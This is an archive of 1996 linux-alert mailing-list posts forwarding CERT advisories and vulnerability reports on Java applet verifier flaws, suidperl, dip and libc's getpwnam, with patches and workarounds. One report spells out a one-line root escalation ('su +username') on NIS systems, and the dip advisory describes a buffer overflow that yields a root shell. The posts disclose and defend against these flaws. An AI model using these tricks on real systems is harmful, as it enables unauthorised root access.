Version: 2.6.2i
iQCVAwUBMVBVMeFnVHXv40etAQEnpQQAgdiPpmGgrGVDx0zuGSjObCEcn6+EMMSu
liVU/Ct4XCZegSHD3nmE0naspSSqAenjjisVrySr2UJFZBbYIoHKc9/z5ATikeyE
nmk+bWQ4H57iCninlBhgk+BRgqd8++GlNjPnLgjSrvNWDc75ESzxhXAYJ1nyMRdM
UHunzxZ80SA=
=YYZI
-----END PGP SIGNATURE-----
From [email protected] Fri Mar 29 17:10:00 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.7.4/$Revision: 2.7 $) id RAA07662; Fri, 29 Mar 1996 17:09:59 -0500
Date: Fri, 29 Mar 1996 17:05:25 -0500
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: [linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT]
X-Spook: Ortega cryptographic class struggle
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
------- start of forwarded message (RFC 934 encapsulation) -------
From: CERT Advisory
Organization: CERT(sm) Coordination Center - +1 412-268-7090
To: [email protected]
Subject: CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier
Date: Fri, 29 Mar 1996 09:37:41 -0500
Reply-To: [email protected]
=============================================================================
CERT(sm) Advisory CA-96.07
March 29, 1996
Topic: Weaknesses in Java Bytecode Verifier
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports of weaknesses in the
bytecode verifier portion of Sun Microsystems' Java Development Kit (JDK)
versions 1.0 and 1.0.1. The JDK is built into Netscape Navigator 2.0 and 2.01.
We have not received reports of the exploitation of this vulnerability.
When applets written with malicious intent are viewed, those applets can
perform any operation that the legitimate user can perform on the machine
running the browser. For example, a maliciously written applet could remove
files from the machine on which the browser is running--but only if the
legitimate user could also.
Problem applets have to be specifically written with malicious intent, and
users are at risk only when connecting to "untrusted" web pages. If you use
Java-enabled products on a closed network or browse the World Wide Web but
never connect to "untrusted" web pages, you are not affected.
The CERT staff recommends disabling Java in Netscape Navigator and not using
Sun's appletviewer to browse applets from untrusted sources until patches are
available from these vendors.
As we receive additional information relating to this advisory, we will
place it in
ftp://info.cert.org/pub/cert_advisories/CA-96.07.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
- -----------------------------------------------------------------------------
I. Description
The Java Programming Language is designed to allow an executable
computer program, called an applet, to be attached to a page viewable
by a World Wide Web browser. When a user browsing the Web visits that
page, the applet is automatically downloaded onto the user's machine
and executed, but only if Java is enabled.
It is possible for an applet to generate and execute raw machine code
on the machine where the browser is running. This means that a
maliciously written applet can perform any action that the legitimate
user can perform; for example, an applet can read, delete, or change
files that the user owns. Because applets are loaded and run
automatically as a side-effect of visiting a Web page, someone could
"booby-trap" their Web page and compromise the machine of anyone visiting
the page. This is the problem described in the Wall Street Journal on
March 26, 1996 ("Researchers Find Big Security Flaw in Java Language," by
Don Clark).
Note: The security enhancements announced by Sun Microsystems in
JDK version 1.0.1 and by Netscape Communications in Netscape
Navigator version 2.01 do *not* fix this flaw.
II. Impact
If Java is enabled and a Web page containing a maliciously written
applet is viewed by any of the vulnerable browsers or Sun's appletviewer,
that applet can perform any operation that the legitimate user can
perform. For example, the applet could read, delete, or in other ways
corrupt the user's files and any other files the user has access to, such
as /etc/passwd.
III. Solution
We recommend obtaining vendor patches as soon as they become available.
Until you can install the patches, we urge you to apply the workarounds
described below.
A. Java Development Kit users
Sun reports that source-level fixes will be supplied to source
licensees in the next few days. The fixes will also be included in
the next JDK version, v1.0.2, which will be released within the next
several weeks.
The JDK itself is a development kit, and it can safely be used to
develop applets and applications. If you choose to use the
appletviewer as a rudimentary browser, do not use it to browse
applets from untrusted sources until you have installed the v1.0.2
browser.
B. Netscape users
If you use Netscape 2.0 or 2.01, disable Java using the
"Security Preferences" dialog box. You do not need to disable
JavaScript as part of this workaround.
For the latest news about fixes for Netscape Navigator, consult
the following for details:
http://home.netscape.com/
IV. Information for HotJava (alpha3) users
Sun Microsystems has provided the following information for users of
HotJava (alpha3).
Sun made available last year a demonstration version of a browser
called "HotJava." That version (alpha3) is proof-of-concept
software only, not a product. HotJava (alpha3) uses an entirely
different security architecture from JDK 1.0 or JDK 1.0.1. It will
not be tested for any reported security vulnerabilities that it
might be susceptible to, and Sun neither supports it nor recommends
its use as a primary browser. When HotJava is released as a product,
it will be based on an up-to-date version of the JDK and fully
supported.
- ---------------------------------------------------------------------------
The CERT Coordination Center thanks Drew Dean, Ed Felten, and Dan Wallach of
Princeton University for providing information for this advisory. We thank
Netscape Communications Corporation and Sun Microsystems, Inc. for their
response to this problem.
- ---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact the
CERT staff for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
CERT Contact Information
- ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available for anonymous FTP from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided it
is used for noncommercial purposes and the copyright statement is included.
CERT is a service mark of Carnegie Mellon University.
------- end -------
linux-alert/linux-alert.9605100664 1767 1767 27771 6152614112 15212 0ustar majdommajdomFrom [email protected] Thu May 2 12:55:37 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA13455; Thu, 2 May 1996 12:55:37 -0400
Date: Thu, 2 May 1996 12:50:11 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: [linux-alert] Yet Another Java Hole.
X-Spook: marijuana KGB domestic terrorism
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Not Linux-specific, but there are enough Linuxers running Web browsers
to make this a potential threat to a large number of Linux systems.
--Up.
------- start of forwarded message (RFC 934 encapsulation) -------
Excerpted from RISKS 18.08.
- ------------
Date: Sun, 28 Apr 1996 03:42:49 +0000 (BST)
>From: David Hopwood
Subject: Another way to run native code from Java applets
In addition to the security bug found by Drew Dean, Ed Felten and Dan
Wallach in March, there is another way to run native code from a Java
applet, which will require a separate fix to the current versions of
Netscape (2.01 and Atlas PR2) and Sun's Java Development Kit (1.01).
Both this attack and the previous one rely on an applet being able to create
an instance of the same security-sensitive class, but each does so using an
independent hole in the bytecode verifier.
Once an applet is able to run native code, it can read, write, and execute
any local file, with the permissions of the browser. These attacks do not
require any additional preconditions, other than viewing the attacker's web
page with Java enabled. They can be done without the user's knowledge.
Summary of Java bugs found so far
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date Found by Fixed in Effects
- --------- ------ ---------- -------
Oct 30 95 DFW not fixed Various - see
in HotJava ftp://ftp.cs.princeton.edu/reports/1995/501.ps.Z
Feb 18 96 DFW/SG 1.01/2.01 Applets can exploit DNS spoofing to
connect to machines behind firewalls
Buffer overflow bug in javap
Mar 2 96 DH 1.01/2.01 win32/MacOS: Applets can run native code
UNIX: Ditto, provided certain files can
be created on the client
Mar 22 96 DFW not fixed Applets can run native code
Mar 22 96 EW not fixed If host names are unregistered, applets may be
able to connect to them
Apr 27 96 DH not fixed Applets can run native code
There was also a separate bug in beta versions of Netscape 2.0 which, in
hindsight, would have allowed applets to run native code.
[DFW = Drew Dean, Ed Felten, Dan Wallach
http://www.cs.princeton.edu/sip/News.html
SG = Steve Gibbons
http://www.aztech.net/~steve/java/
DH = David Hopwood
http://ferret.lmh.ox.ac.uk/~david/java/
EW = Eric Williams
http://www.sky.net/~williams/java/javasec.html
Dates indicate when the problem was first posted to RISKS, except for
Eric Williams' bug, which has not been posted.]
For bugs in Javascript, see John LoVerso's page
http://www.osf.org/~loverso/javascript/
These include the ability to list any local directory (apparently fixed
in Atlas PR2), and a new version of the real-time history tracker.
Additional information on the March 2nd absolute pathname bug is now
available from
http://ferret.lmh.ox.ac.uk/~david/java/
Recommended actions
~~~~~~~~~~~~~~~~~~~
Netscape (2.0beta*, 2.0, 2.01):
Disable Java (on all platforms except Windows 3.1x), and if possible
Javascript, using the Security Preferences dialogue in the Options menu.
Note that the section on security in the Netscape release notes is not
up-to-date.
Netscape (Atlas PR1, PR2):
As above, except that the options to disable Java and Javascript have
moved to the Languages tab in the Network Preferences dialogue.
Appletviewer (JDK beta*, 1.0, 1.01):
Do not use appletviewer to load applets from untrusted hosts.
HotJava (alpha*):
Sun no longer supports HotJava alpha, and does not not intend to fix
any of its security holes until a beta version is released.
David Hopwood [email protected]
------- end -------
From [email protected] Thu May 9 08:52:09 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA26610; Thu, 9 May 1996 08:52:09 -0400
Date: Thu, 9 May 1996 08:06:58 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: [linux-alert] Administrative note regarding subscriptions.
X-Spook: Delta Force MIRV World Trade Center
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
I've noticed a *lot* of people that are subscribed to both the
linux-security and linux-alert lists. (Current subscription total: 7450
addresses in 79 top-level domains.)
Linux-alert postings are normally CC'd to the linux-security list; if
you're subscribed to linux-security then you don't really need to be
subscribed to linux-alert as well.
linux-alert is for bug and fix announcements, important security-related
announcements, etc., whereas linux-security is for background
discussions and work on security issues. If you're only interested in
hearing about really important matters you should be subscribed to
linux-alert. If you're interested in the background information and
discussions, as well as the important announcements, you should be
subscribed to linux-security.
One other note: since the traffic volume on linux-alert is quite low
(typically only a couple/few posts per month), subscribing to
linux-alert-digest effectively causes an alert to reach you roughly a
week later than if you were subscribed to linux-alert. There's really
no point in having a linux-alert-digest list; I'm once again considered
discontinuing it and moving its subscribers over to the regular
linux-alert list.
- --Up.
- --
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | [email protected]
PGP key available at: http://www.cv.nrao.edu/~juphoff/
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface
iQCVAwUBMZHf3XoDqzGe1QXFAQF/ZQQAwoqMV9lxfrd3INct3743ZSNoPfjJgerp
42kCxpKE4UGXY/oBTdDUL3i6dQFRLCvxbyPlrTw0w/ZUGfr20/TKQVWJGhD8XKyF
gHaWT+iCimjCf8wc/YZqpMwzddCSr37J+erJO1qkynaxQW8N6x5NlL4XbR7wswmI
QARJ3+UCwnM=
=XNaE
-----END PGP SIGNATURE-----
From [email protected] Tue May 28 11:14:16 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.8 $) id LAA01128; Tue, 28 May 1996 11:14:16 -0400
Date: Tue, 28 May 1996 11:02:41 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: [linux-alert] Serious Security hole in getpwnam ()
X-Spook: Delta Force bombing genetic
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
This is a *very* serious hole that affects Linux-based NIS client
systems. A more formal alert will be posted once a fixed version of
libc has been officially released.
For those that don't want to (or can't) patch and recompile their own
fixed version of libc, I recommend the *immediate* removal of all "stub"
NIS username entries, of the forms described in the attached message,
from /etc/passwd.
- --Up.
[Please note that the PGP and forwarding encapsulations have modified
the MIME headers and the diff/patch segment.]
- ------- start of forwarded message (RFC 934 encapsulation) -------
From: Arno Schaefer
Sender: [email protected]
Organization: Fraunhofer CRCG, Inc.
To: [email protected]
Subject: Serious Security hole in getpwnam ()
Date: Fri, 24 May 1996 15:37:54 -0400
This is a multi-part message in MIME format.
- - --------------63DB9C7E36AD404B638D1437
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jeff,
I just discovered a major security hole in the getpwnam() function
in the current libc (5.3.12, probably present in all previous
versions). It can be exploited if there is an entry in the form
+username::::::
or
-username::::::
or similar in /etc/passwd (an entry to admit or exclude a single user
from the NIS passwd file).
By typing 'su +username' or 'su -- -username' resp. you become root
without being asked for a passwd.
'login' is not vulnerable, so only users with shell access to the
machine can exploit the bug.
I tried it on two different systems that used NIS, both running
Slackware 3.0, libc 5.3.12 and 5.0.9, resp. It can only be used
if an entry of the form described above is present, so many systems
that do not use NIS or that have only a standard '+' entry are safe
against this attack.
This apparently has been know for a long time, since the source for
'login' reads:
/* Dirty patch to fix a gigantic security hole when using
yellow pages. This problem should be solved by the
libraries, and not by programs, but this must be fixed
urgently! If the first char of the username is '+', we
avoid login success.
Feb 95 */
if (username[0] == '+') {
puts("Illegal username");
badlogin(username);
sleepexit(1);
}
but probably due to bad communication it was not fixed in libc.
A similar bug in the same function was fixed over a year ago
('su +' or 'su +@netgroup'), but strangely nobody thought about
'su +username'.
I attach a patch that fixes the hole - it was taken against libc
5.3.12, but should be easily adaptable to other versions. I was
already in contact with H.J. Lu and expect that the next version
of libc will contain this patch.
I think this info should be forwarded to the linux-alert mailing
list.
Regards,
Arno
--
Arno Schaefer - [email protected]
Fraunhofer Center for Research in Computer Graphics, Providence RI
-- Opinions expressed are my own and not those of Fraunhofer CRCG --
Never attribute to malice that which can be adequately explained by
stupidity
- - --------------63DB9C7E36AD404B638D1437
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="getpwnam.patch"
Index: getpwnam.c
===================================================================
RCS file: /home/work/cvs/linux/libc/pwd/getpwnam.c,v
retrieving revision 1.5
diff -c -r1.5 getpwnam.c
*** getpwnam.c 1996/05/22 15:49:37 1.5
- - --- getpwnam.c 1996/05/23 06:59:32
***************
*** 53,58 ****
- - --- 53,63 ----
register FILE *stream;
register struct passwd *p;
+ #ifdef YP
+ if (name[0] == '-' || name[0] == '+')
+ return NULL;
+ #endif
+
if (info == NULL)
{
info = __pwdalloc();
- - --------------63DB9C7E36AD404B638D1437--
- ------- end -------
[Mod: I have also verified the existence of this hole in libc-4.6.27
(a.out). --Jeff.]
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.2, an Emacs/PGP interface
iQCVAwUBMasUZnoDqzGe1QXFAQHvzwQAp0qBxFtHl/+4RkxbvK3HETdpT6n/OOFA
B15kmXdkgcbCtIF5slfgXbB244KMGf3sebNjtC/IBtNRfyDP7e/P+v4poeEEmcyu
BJfc2UxoiE5yK9/L/PgAUgm9exYMVyNT8N9balb509q7eI5gWjhxK9vDb1P0MyI8
NFf2QC7D5mI=
=exlk
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9606100664 1767 1767 34475 6164516031 15216 0ustar majdommajdomFrom [email protected] Thu Jun 27 10:34:55 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id KAA25080; Thu, 27 Jun 1996 10:34:55 -0400
Resent-Date: Thu, 27 Jun 1996 10:25:05 -0400
Resent-From: Jeff Uphoff
Resent-Message-Id: <[email protected]>
Resent-To: [email protected]
Message-Id: <[email protected]>
Organization: CERT(sm) Coordination Center - +1 412-268-7090
From: CERT Advisory
To: [email protected]
Subject: [linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl
Date: Wed, 26 Jun 1996 11:34:01 -0400
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[Mod: This affects Linux. --Jeff]
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
CERT(sm) Advisory CA-96.12
June 26, 1996
Topic: Vulnerability in suidperl
- -----------------------------------------------------------------------------
The CERT Coordination Center has received reports of a vulnerability in
systems that contain the suidperl program and that support saved
set-user-ID and saved set-group-ID. By exploiting this vulnerability,
anyone with access to an account on such a system may gain root access.
Saved set-user-IDs and set-group-IDs are sometimes referred to as POSIX
saved IDs. suidperl is also known as sperl followed by a version number,
as in sperl5.002.
Perl versions 4 and 5 can be compiled and installed in such a way that
they will be vulnerable on some systems. If you have installed the
suidperl or sperl programs on a system that supports saved set-user-ID and
set-group-ID, you may be at risk.
The CERT Coordination Center recommends that you first disable the
suidperl and sperl programs (Section III.A). If you need the
functionality, we further recommend that you either apply a patch for
this problem or install Perl version 5.003 (Section III.B). If neither
a patch nor a new version are viable alternatives, we recommend
installing the wrapper written by Larry Wall as a workaround for this
problem (Section III.C).
As we receive additional information relating to this advisory, we will
place it in
ftp://info.cert.org/pub/cert_advisories/CA-96.12.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
- -----------------------------------------------------------------------------
I. Description
On some systems, setuid and setgid scripts (scripts written in the
C shell, Bourne shell, or Perl, for example, with the set user or
group ID permissions enabled) are insecure due to a race condition in
the kernel. For those systems, Perl versions 4 and 5 attempt to work
around this vulnerability with a special program named suidperl, also
known as sperl. Even on systems that do provide a secure mechanism for
setuid and setgid scripts, suidperl may also be installed--although it
is not needed.
suidperl attempts to emulate the set-user-ID and set-group-ID
features of the kernel. Depending on whether the script is
set-user-ID, set-group-ID, or both, suidperl achieves this emulation
by first changing its effective user or group ID to that of the
original Perl script. suidperl then reads and executes the script as
that effective user or group. To do these user and group ID changes
correctly, suidperl must be installed as set-user-ID root.
On systems that support saved set-user-ID and set-group-ID, suidperl
does not properly relinquish its root privileges when changing its
effective user and group IDs.
II. Impact
On a system that has the suidperl or sperl program installed and
that supports saved set-user-ID and saved set-group-ID, anyone with
access to an account on the system can gain root access.
III. Solution
The command in Section A helps you determine if your system is
vulnerable and, if it is, optionally disables the suidperl and
sperl programs that it locates. After you have run this command
on all of your systems, your system will no longer be vulnerable.
If you find that your system is vulnerable, then you need to replace
the suidperl and sperl programs with new versions. Section B describes
how to do that.
Finally, Section C identifies a wrapper that can be used in place of
the suidperl program.
A. How to determine if your system is vulnerable
To determine if a system is vulnerable to this problem and to
disable the programs that are believed to be vulnerable, use the
following find command or a variant. Consult your local system
documentation to determine how to tailor the find program on your
system.
You will need to run the find command on each system you maintain
because the command examines files on the local disk only. Substitute
the names of your local file systems for FILE_SYSTEM_NAMES in the
example. Example local file system names are /, /usr, and /var.
You must do this as root.
Note that this is one long command, though we have separated
it onto three lines using back-slashes.
find FILE_SYSTEM_NAMES -xdev -type f -user root \
\( -name 'sperl[0-9].[0-9][0-9][0-9]' -o -name \
'suidperl' \) -perm -04000 -print -ok chmod ug-s '{}' \;
This command will find all files on a system that are
- only in the file system you name (FILE_SYSTEM_NAMES -xdev)
- regular files (-type f)
- owned by root (-user root)
- named appropriately (-name 'sperl[0-9].[0-9][0-9][0-9]'
-o -name 'suidperl')
- setuid root (-perm -04000)
Once found, those files will
- have their names printed (-print)
- have their modes changed, but only if you type `y'
in response to the prompt (-ok chown ug-s '{}' \;)
B. Obtain and install the appropriate patch according to the
instructions included with the patch.
Vendor patches
--------------
You may be vulnerable if your vendor supports saved set-user-ID
and set-group-ID and ships suidperl or sperl. You need to get
a patched version from your vendor. Appendix A contains
information provided by vendors as of the date of this advisory.
When we receive updated information, we will put it in CA-96.12.README.
Until you can install a patch, we recommend disabling suidperl.
The find command above will help you do that. If you need
suidperl or sperl, an alternative is to install the wrapper
described in Section C.
Source code patches
-------------------
If you have installed Perl from source code, you should install
source code patches. Patches are available from the CPAN
(Comprehensive Perl Archive Network) archives.
Patch for Perl Version 4:
File src/fixsuid4-0.pat
MD5 Checksum af3e3c40bbaafce134714f1381722496
Patch for Perl Version 5:
File src/fixsuid5-0.pat
MD5 Checksum 135c96ee400fd37a38a7ef37edd489e9
In addition, Perl version 5.003 contains this patch, so installing
it on your system also addresses this vulnerability. Perl 5.003 is
available from the CPAN archives. Here are the specifics:
File src/5.0/perl5.003.tar.gz
MD5 Checksum b1bb23995cd25e5b750585bfede0e8a5
The CPAN archives can be found at the following locations:
CPAN master site
ftp://ftp.funet.fi/pub/languages/perl/CPAN/
Africa
ftp://ftp.is.co.za/programming/perl/CPAN/
Asia
ftp://dongpo.math.ncu.edu.tw/perl/CPAN/
ftp://ftp.lab.kdd.co.jp/lang/perl/CPAN/
Australasia
ftp://coombs.anu.edu.au/pub/perl/
ftp://ftp.mame.mu.oz.au/pub/perl/CPAN/
ftp://ftp.tekotago.ac.nz/pub/perl/CPAN/
Europe
ftp://ftp.arnes.si/software/perl/CPAN/
ftp://ftp.ci.uminho.pt/pub/lang/perl/
ftp://ftp.cs.ruu.nl/pub/PERL/CPAN/
ftp://ftp.demon.co.uk/pub/mirrors/perl/CPAN/
ftp://ftp.funet.fi/pub/languages/perl/CPAN/
ftp://ftp.ibp.fr/pub/perl/CPAN/
ftp://ftp.leo.org/pub/comp/programming/languages/perl/CPAN/
ftp://ftp.pasteur.fr/pub/computing/unix/perl/CPAN/
ftp://ftp.rz.ruhr-uni-bochum.de/pub/programming/languages/perl/CPAN/
ftp://ftp.sunet.se/pub/lang/perl/CPAN/
ftp://ftp.switch.ch/mirror/CPAN/
ftp://unix.hensa.ac.uk/mirrors/perl-CPAN/
North America
ftp://ftp.cis.ufl.edu/pub/perl/CPAN/
ftp://ftp.delphi.com/pub/mirrors/packages/perl/CPAN/
ftp://ftp.sedl.org/pub/mirrors/CPAN/
ftp://ftp.sterling.com/programming/languages/perl/
ftp://ftp.uoknor.edu/mirrors/CPAN/
ftp://uiarchive.cso.uiuc.edu/pub/lang/perl/CPAN/
C. If you need setuid or setgid Perl scripts and are unable to apply
the source code patches listed in Section B, we suggest that you
retrieve Larry Wall's fixsperl script noted below. fixsperl is a
script that replaces the suidperl and sperl programs with a wrapper
that eliminates the vulnerability. The script is available from the
CPAN archives as
File src/fixsperl-0
MD5 Checksum f13900d122a904a8453a0af4c1bdddc6
Note that this script should be run one time, naming every suidperl
or sperl file on your system. If you add another version of
suidperl or sperl to your system, then you must run fixsperl
on those newly installed versions.
- ---------------------------------------------------------------------------
The CERT Coordination Center staff thanks Paul Traina, Larry Wall, Eric
Allman, Tom Christiansen, and AUSCERT for their support in the development
of this advisory.
- ---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
We strongly urge you to encrypt any sensitive information you send by
email. The CERT Coordination Center can support a shared DES key and PGP.
Contact the CERT staff for more information.
Location of CERT PGP key:
ftp://info.cert.org/pub/CERT_PGP.key
CERT Contact Information
- ------------------------
Email [email protected]
Phone +1 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30-5:00 p.m. EST
(GMT-5)/EDT(GMT-4), and are on call for
emergencies during other hours.
Fax +1 412-268-6989
Postal address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
USA
CERT publications, information about FIRST representatives, and other
security-related information are available for anonymous FTP from
http://www.cert.org/
ftp://info.cert.org/pub/
CERT advisories and bulletins are also posted on the USENET newsgroup
comp.security.announce
To be added to our mailing list for CERT advisories and bulletins, send your
email address to
[email protected]
Copyright 1996 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for non-commercial purposes and the copyright statement is
included.
CERT is a service mark of Carnegie Mellon University.
.........................................................................
Appendix A: Vendor Information
Current as of June 26, 1996
See CA-96.12.README for updated information.
Below is information we have received from vendors concerning the
vulnerability described in this advisory. If you do not see your vendor's
name, please contact the vendor directly for information.
Apple Computer, Inc.
====================
A/UX 3.1.1 and earlier support saved set-{user,group}-ids.
A/UX 3.1.1 and earlier do not have Perl as part of the standard
product.
Data General Corporation
========================
Data General does support saved set-user-IDs and set-group-IDs on
DG/UX.
Data General does not ship suidperl or sperl* with DG/UX.
Hewlett-Packard Company
=======================
HP/UX versions 8.X, 9.X, and 10.X all support saved set-user-id.
None of HP/UX versions 8.X, 9.X, and 10.X have Perl as part of the
standard product.
IBM Corporation
===============
AIX versions 3.2.5 and 4.X support saved set-user-id.
AIX versions 3.2.5 and 4.X do not have Perl as part of the standard
product. However, the SP2's PSSP software does contain suidperl, but
the program is not installed with the setuid bit set.
Linux
=====
Linux 1.2 and 2.0 support saved set-user-id.
Most distributions of Linux provide suidperl and sperl.
The fixsperl script works on linux, and it is recommended that this
fix be applied until a new Perl release is made.
Open Software Foundation
========================
OSF/1 1.3 or later support saved set-user-id
OSF/1 1.3 or later does not have Perl as part of the standard
product.
Sony Corporation
================
NEWS-OS 4.X does not support saved set-user-id and therefore any
version of Perl on that system is not vulnerable.
NEWS-OS 6.X does support saved set-user-id.
X.org
=====
None of X.org's development systems are vulnerable to the saved
set-user-IDs and set-group-IDs problems, and suidperl is not shipped
with either of our products.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
iQCVAwUBMdE8tnVP+x0t4w7BAQF2eQQAlpH/zOBMFK3/TQ+TAbfAkkULJORsvPTs
Hv2aJtInooObGNlT8NThg+7DBOUTcNQ7allPtNRzDE9xIDsn/ZGQZSUMtuSiVqI5
F9vgXZgDFNMknRW35ae6E9zJ3R/FJGIVxQyA6BB2YhbyvnaMrzKqE0nGDy1GZsPl
mhGAXh3CZYw=
=o+Jl
-----END PGP SIGNATURE-----
linux-alert/linux-alert.9607100664 1767 1767 36414 6177601712 15217 0ustar majdommajdomFrom [email protected] Tue Jul 9 17:21:45 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA01747; Tue, 9 Jul 1996 17:21:45 -0400
Date: Tue, 9 Jul 1996 17:17:01 -0400
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected],
[email protected]
Subject: [linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability).
X-Spook: cracking cracking Iran
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
This is actually rather old news; Dan Walters
posted an alert about this vulnerability on January 22, 1996, and Marc
Ewing posted binary fix availability information for
Red Hat systems the next day.
The original alert(s) is/are archived at:
linux.nrao.edu:/pub/security/list-archive/linux-alert/linux-alert.9601
linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960122
linux.nrao.edu:/pub/security/list-archive/linux-security/linux-security.960123
The exploit that CERT mentions was publicly posted to linux-security and
Bugtraq in January as well.
--Up.
-----BEGIN PGP SIGNED MESSAGE-----
=============================================================================
CERT(sm) Advisory CA-96.13
July 9, 1996
Topic: Vulnerability in the dip program
- -----------------------------------------------------------------------------
The CERT Coordination Center has received several reports of exploitations of
a vulnerability in the dip program on Linux systems. The dip program is
shipped with most versions of the Linux system; and versions up to and
including version 3.3.7n are vulnerable. An exploitation script for Linux
running on X86-based hardware is publicly available. Although exploitation
scripts for other architectures and operating systems have not yet been found,
we believe that they could be easily developed.
The CERT Coordination Center recommends that you disable dip and re-enable it
only after you have installed a new version. Section III below describes how
to do that.
As we receive additional information relating to this advisory, we
will place it in
ftp://info.cert.org/pub/cert_advisories/CA-96.13.README
We encourage you to check our README files regularly for updates on
advisories that relate to your site.
- -----------------------------------------------------------------------------
I. Description
dip is a freely available program that is included in most distributions
of Linux. It is possible to build it for and use it on other UNIX systems.
The dip program manages the connections needed for dial-up links such
as SLIP and PPP. It can handle both incoming and outgoing connections.
To gain access to resources it needs to establish these IP connections,
the dip program must be installed as set-user-id root.
A vulnerability in dip makes it possible to overflow an internal buffer
whose value is under the control of the user of the dip program. If this
buffer is overflowed with the appropriate data, a program such as a
shell can be started. This program then runs with root permissions on the
local machine.
Exploitation scripts for dip have been found running on Linux systems for
X86 hardware. Although exploitation scripts for other architectures
and operating systems have not yet been found, we believe that they could
be easily developed.
II. Impact
On a system that has dip installed as set-user-id root, anyone with
access to an account on that system can gain root access.
III. Solution
Follow the steps in Section A to disable your currently installed version
of dip. Then, if you need the functionality that dip provides, follow the
steps given in Section B.
A. Disable the presently installed version of dip.
As root,
chmod 0755 /usr/sbin/dip
By default, dip is installed in the /usr/sbin directory. Note that it
may be installed elsewhere on your system.
B. Install a new version of dip.
If you need the functionality that dip provides, retrieve and install
the following version of the source code for dip, which fixes this
vulnerability. dip is available from
ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz
ftp://sunsite.unc.edu/pub/Linux/system/Network/serial/dip/dip337o-uri.tgz.sig
MD5 (dip337o-uri.tgz) = 45fc2a9abbcb3892648933cadf7ba090
SHash (dip337o-uri.tgz) = 6e3848b9b5f9d5b308bbac104eaf858be4dc51dc
- ---------------------------------------------------------------------------
The CERT Coordination Center staff thanks Uri Blumenthal for his solution to
the problem and Linux for their support in the development of this advisory.
- ---------------------------------------------------------------------------
If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident
Response and Security Teams (FIRST).
We strongly urge you to encrypt any sensitive information you send by email.
The CERT Coordination Center can support a shared DES key and PGP. Contact
the CERT staff for more information.
Location of CERT PGP key
ftp://info.cert.org/pub/CERT_PGP.key
CERT Contact Information
- ------------------------
